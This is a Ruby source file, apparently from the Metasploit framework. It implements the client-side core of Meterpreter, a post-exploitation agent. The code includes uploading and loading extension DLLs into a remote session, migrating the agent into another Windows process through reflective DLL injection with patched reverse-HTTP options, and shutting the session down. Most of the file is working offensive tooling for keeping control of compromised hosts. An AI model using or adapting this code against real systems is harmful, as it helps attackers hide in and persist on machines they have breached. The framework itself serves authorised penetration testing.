348 lines
11 KiB
Ruby
348 lines
11 KiB
Ruby
# -*- coding: binary -*-
|
|
|
|
require 'rex/post/meterpreter/packet'
|
|
require 'rex/post/meterpreter/extension'
|
|
require 'rex/post/meterpreter/client'
|
|
|
|
# Used to generate a reflective DLL when migrating. This is yet another
|
|
# argument for moving the meterpreter client into the Msf namespace.
|
|
require 'msf/core/payload/windows'
|
|
|
|
# Provides methods to patch options into the metsrv stager.
|
|
require 'rex/payloads/meterpreter/patch'
|
|
|
|
module Rex
|
|
module Post
|
|
module Meterpreter
|
|
|
|
###
|
|
#
|
|
# This class is responsible for providing the interface to the core
|
|
# client-side meterpreter API which facilitates the loading of extensions
|
|
# and the interaction with channels.
|
|
#
|
|
#
|
|
###
|
|
class ClientCore < Extension
|
|
|
|
#
|
|
# Initializes the 'core' portion of the meterpreter client commands.
|
|
#
|
|
def initialize(client)
|
|
super(client, "core")
|
|
end
|
|
|
|
##
|
|
#
|
|
# Core commands
|
|
#
|
|
##
|
|
|
|
#
|
|
# Loads a library on the remote meterpreter instance. This method
|
|
# supports loading both extension and non-extension libraries and
|
|
# also supports loading libraries from memory or disk depending
|
|
# on the flags that are specified
|
|
#
|
|
# Supported flags:
|
|
#
|
|
# LibraryFilePath
|
|
# The path to the library that is to be loaded
|
|
#
|
|
# TargetFilePath
|
|
# The target library path when uploading
|
|
#
|
|
# UploadLibrary
|
|
# Indicates whether or not the library should be uploaded
|
|
#
|
|
# SaveToDisk
|
|
# Indicates whether or not the library should be saved to disk
|
|
# on the remote machine
|
|
#
|
|
# Extension
|
|
# Indicates whether or not the library is a meterpreter extension
|
|
#
|
|
def load_library(opts)
|
|
library_path = opts['LibraryFilePath']
|
|
target_path = opts['TargetFilePath']
|
|
load_flags = LOAD_LIBRARY_FLAG_LOCAL
|
|
|
|
# No library path, no cookie.
|
|
if (library_path == nil)
|
|
raise ArgumentError, "No library file path was supplied", caller
|
|
end
|
|
|
|
# Set up the proper loading flags
|
|
if (opts['UploadLibrary'])
|
|
load_flags &= ~LOAD_LIBRARY_FLAG_LOCAL
|
|
end
|
|
if (opts['SaveToDisk'])
|
|
load_flags |= LOAD_LIBRARY_FLAG_ON_DISK
|
|
end
|
|
if (opts['Extension'])
|
|
load_flags |= LOAD_LIBRARY_FLAG_EXTENSION
|
|
end
|
|
|
|
# Create a request packet
|
|
request = Packet.create_request('core_loadlib')
|
|
|
|
# If we must upload the library, do so now
|
|
if ((load_flags & LOAD_LIBRARY_FLAG_LOCAL) != LOAD_LIBRARY_FLAG_LOCAL)
|
|
image = ''
|
|
|
|
::File.open(library_path, 'rb') { |f|
|
|
image = f.read
|
|
}
|
|
|
|
if (image != nil)
|
|
request.add_tlv(TLV_TYPE_DATA, image, false, client.capabilities[:zlib])
|
|
else
|
|
raise RuntimeError, "Failed to serialize library #{library_path}.", caller
|
|
end
|
|
|
|
# If it's an extension we're dealing with, rename the library
|
|
# path of the local and target so that it gets loaded with a random
|
|
# name
|
|
if (opts['Extension'])
|
|
library_path = "ext" + rand(1000000).to_s + ".#{client.binary_suffix}"
|
|
target_path = library_path
|
|
end
|
|
end
|
|
|
|
# Add the base TLVs
|
|
request.add_tlv(TLV_TYPE_LIBRARY_PATH, library_path)
|
|
request.add_tlv(TLV_TYPE_FLAGS, load_flags)
|
|
|
|
if (target_path != nil)
|
|
request.add_tlv(TLV_TYPE_TARGET_PATH, target_path)
|
|
end
|
|
|
|
# Transmit the request and wait the default timeout seconds for a response
|
|
response = self.client.send_packet_wait_response(request, self.client.response_timeout)
|
|
|
|
# No response?
|
|
if (response == nil)
|
|
raise RuntimeError, "No response was received to the core_loadlib request.", caller
|
|
elsif (response.result != 0)
|
|
raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller
|
|
end
|
|
|
|
commands = []
|
|
response.each(TLV_TYPE_METHOD) { |c|
|
|
commands << c.value
|
|
}
|
|
|
|
return commands
|
|
end
|
|
|
|
#
|
|
# Loads a meterpreter extension on the remote server instance and
|
|
# initializes the client-side extension handlers
|
|
#
|
|
# Module
|
|
# The module that should be loaded
|
|
#
|
|
# LoadFromDisk
|
|
# Indicates that the library should be loaded from disk, not from
|
|
# memory on the remote machine
|
|
#
|
|
def use(mod, opts = { })
|
|
if (mod == nil)
|
|
raise RuntimeError, "No modules were specified", caller
|
|
end
|
|
# Get us to the installation root and then into data/meterpreter, where
|
|
# the file is expected to be
|
|
modname = "ext_server_#{mod.downcase}"
|
|
path = MeterpreterBinaries.path(modname, client.binary_suffix)
|
|
|
|
if (opts['ExtensionPath'])
|
|
path = opts['ExtensionPath']
|
|
end
|
|
|
|
path = ::File.expand_path(path)
|
|
|
|
# Load the extension DLL
|
|
commands = load_library(
|
|
'LibraryFilePath' => path,
|
|
'UploadLibrary' => true,
|
|
'Extension' => true,
|
|
'SaveToDisk' => opts['LoadFromDisk'])
|
|
client.add_extension(mod, commands)
|
|
|
|
return true
|
|
end
|
|
|
|
#
|
|
# Migrates the meterpreter instance to the process specified
|
|
# by pid. The connection to the server remains established.
|
|
#
|
|
def migrate( pid )
|
|
keepalive = client.send_keepalives
|
|
client.send_keepalives = false
|
|
process = nil
|
|
binary_suffix = nil
|
|
|
|
# Load in the stdapi extension if not allready present so we can determine the target pid architecture...
|
|
client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" )
|
|
|
|
# Determine the architecture for the pid we are going to migrate into...
|
|
client.sys.process.processes.each { | p |
|
|
if( p['pid'] == pid )
|
|
process = p
|
|
break
|
|
end
|
|
}
|
|
|
|
# We cant migrate into a process that does not exist.
|
|
if( process == nil )
|
|
raise RuntimeError, "Cannot migrate into non existent process", caller
|
|
end
|
|
|
|
# We cant migrate into a process that we are unable to open
|
|
if( process['arch'] == nil or process['arch'].empty? )
|
|
raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller
|
|
end
|
|
|
|
# And we also cant migrate into our own current process...
|
|
if( process['pid'] == client.sys.process.getpid )
|
|
raise RuntimeError, "Cannot migrate into current process", caller
|
|
end
|
|
|
|
# Create a new payload stub
|
|
c = Class.new( ::Msf::Payload )
|
|
c.include( ::Msf::Payload::Stager )
|
|
|
|
# Include the appropriate reflective dll injection module for the target process architecture...
|
|
if( process['arch'] == ARCH_X86 )
|
|
c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
|
|
binary_suffix = "x86.dll"
|
|
elsif( process['arch'] == ARCH_X86_64 )
|
|
c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 )
|
|
binary_suffix = "x64.dll"
|
|
else
|
|
raise RuntimeError, "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'.", caller
|
|
end
|
|
|
|
# Create the migrate stager
|
|
migrate_stager = c.new()
|
|
migrate_stager.datastore['DLL'] = MeterpreterBinaries.path('metsrv',binary_suffix)
|
|
|
|
blob = migrate_stager.stage_payload
|
|
|
|
if client.passive_service
|
|
|
|
blob.extend Rex::Payloads::Meterpreter::Patch
|
|
|
|
#
|
|
# Patch options into metsrv for reverse HTTP payloads
|
|
#
|
|
blob.patch_passive_service! blob,
|
|
:ssl => client.ssl,
|
|
:url => self.client.url,
|
|
:expiration => self.client.expiration,
|
|
:comm_timeout => self.client.comm_timeout,
|
|
:ua => client.exploit_datastore['MeterpreterUserAgent'],
|
|
:proxyhost => client.exploit_datastore['PROXYHOST'],
|
|
:proxyport => client.exploit_datastore['PROXYPORT'],
|
|
:proxy_type => client.exploit_datastore['PROXY_TYPE'],
|
|
:proxy_username => client.exploit_datastore['PROXY_USERNAME'],
|
|
:proxy_password => client.exploit_datastore['PROXY_PASSWORD']
|
|
|
|
end
|
|
|
|
# Build the migration request
|
|
request = Packet.create_request( 'core_migrate' )
|
|
request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
|
|
request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length )
|
|
request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib])
|
|
if( process['arch'] == ARCH_X86_64 )
|
|
request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64
|
|
else
|
|
request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86
|
|
end
|
|
|
|
# Send the migration request (bump up the timeout to 60 seconds)
|
|
client.send_request( request, 60 )
|
|
|
|
if client.passive_service
|
|
# Sleep for 5 seconds to allow the full handoff, this prevents
|
|
# the original process from stealing our loadlib requests
|
|
::IO.select(nil, nil, nil, 5.0)
|
|
else
|
|
# Prevent new commands from being sent while we finish migrating
|
|
client.comm_mutex.synchronize do
|
|
# Disable the socket request monitor
|
|
client.monitor_stop
|
|
|
|
###
|
|
# Now communicating with the new process
|
|
###
|
|
|
|
# If renegotiation takes longer than a minute, it's a pretty
|
|
# good bet that migration failed and the remote side is hung.
|
|
# Since we have the comm_mutex here, we *must* release it to
|
|
# keep from hanging the packet dispatcher thread, which results
|
|
# in blocking the entire process. See Redmine #8794
|
|
begin
|
|
Timeout.timeout(60) do
|
|
# Renegotiate SSL over this socket
|
|
client.swap_sock_ssl_to_plain()
|
|
client.swap_sock_plain_to_ssl()
|
|
end
|
|
rescue TimeoutError
|
|
client.alive = false
|
|
return false
|
|
end
|
|
|
|
# Restart the socket monitor
|
|
client.monitor_socket
|
|
|
|
end
|
|
end
|
|
|
|
# Update the meterpreter platform/suffix for loading extensions as we may have changed target architecture
|
|
# sf: this is kinda hacky but it works. As ruby doesnt let you un-include a module this is the simplest solution I could think of.
|
|
# If the platform specific modules Meterpreter_x64_Win/Meterpreter_x86_Win change significantly we will need a better way to do this.
|
|
if( process['arch'] == ARCH_X86_64 )
|
|
client.platform = 'x64/win64'
|
|
client.binary_suffix = 'x64.dll'
|
|
else
|
|
client.platform = 'x86/win32'
|
|
client.binary_suffix = 'x86.dll'
|
|
end
|
|
|
|
# Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix)
|
|
client.ext.aliases.keys.each { |e|
|
|
client.core.use(e)
|
|
}
|
|
|
|
# Restore session keep-alives
|
|
client.send_keepalives = keepalive
|
|
|
|
return true
|
|
end
|
|
|
|
#
|
|
# Shuts the session down
|
|
#
|
|
def shutdown
|
|
request = Packet.create_request('core_shutdown')
|
|
|
|
# If this is a standard TCP session, send and return
|
|
if not client.passive_service
|
|
self.client.send_packet(request)
|
|
else
|
|
# If this is a HTTP/HTTPS session we need to wait a few seconds
|
|
# otherwise the session may not receive the command before we
|
|
# kill the handler. This could be improved by the server side
|
|
# sending a reply to shutdown first.
|
|
self.client.send_packet_wait_response(request, 10)
|
|
end
|
|
true
|
|
end
|
|
|
|
end
|
|
|
|
end; end; end
|
|
|